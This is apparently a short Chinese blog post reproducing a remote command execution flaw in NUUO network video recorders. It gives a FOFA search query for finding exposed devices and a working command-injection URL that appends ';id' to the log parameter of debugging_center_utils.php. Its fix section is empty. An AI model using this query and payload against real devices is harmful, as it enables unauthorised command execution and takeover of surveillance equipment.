【漏洞复现】NUUO摄像头存在远程命令执行漏洞

漏洞描述

NUUO摄像头是中国台湾NUUO公司旗下的一款网络视频记录器,该设备存在远程命令执行漏洞,攻击者可利用该漏洞执行任意命令,进而获取服务器的权限。

免责声明

技术文章仅供参考,任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得利用网络从事危害国家安全、荣誉和利益,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!

资产确定

复制代码
fofa title="Network Video Recorder Login "

漏洞复现

漏洞链接:http://127.0.0.1/**debugging_center_utils** _.php?log=;id

修复方案

相关推荐
Eward-an4 小时前
Gemini认证工具创意开发(技术深度解析)
安全·网络安全·区块链
Z1eaf_complete6 小时前
剖析目录遍历漏洞
安全·网络安全
数字供应链安全产品选型6 小时前
问境 AIST:以 AI 原生安全治理构建 AI 全生命周期安全治理新体系
网络安全
白帽子凯哥哥7 小时前
2026年网络安全面试实战指南
网络安全·面试·简历·实战能力
白帽子凯哥哥7 小时前
普通二本计算机专业现在大一,下学期就要分流了选什么专业合适呢?需要自主再学习吗?然后要参加竞赛吗?
web安全·渗透测试·大学生·ctf比赛·网络安全大赛
Codefengfeng8 小时前
[HCTF 2018]admin WP
web安全
Atomic121389 小时前
HTTP隧道搭建
web安全·网络安全·渗透测试
乾元10 小时前
算力优化: 在有限硬件资源下进行安全模型微调(Fine-tuning)
网络·人工智能·神经网络·安全·web安全·机器学习·安全架构
观书喜夜长10 小时前
OpenClaw 本地安装与 Ollama 大模型接入实战教程-实现无限tokens使用
学习·网络安全
白帽黑客-晨哥10 小时前
Web安全零基础学习
web安全·网络安全·漏洞挖掘·src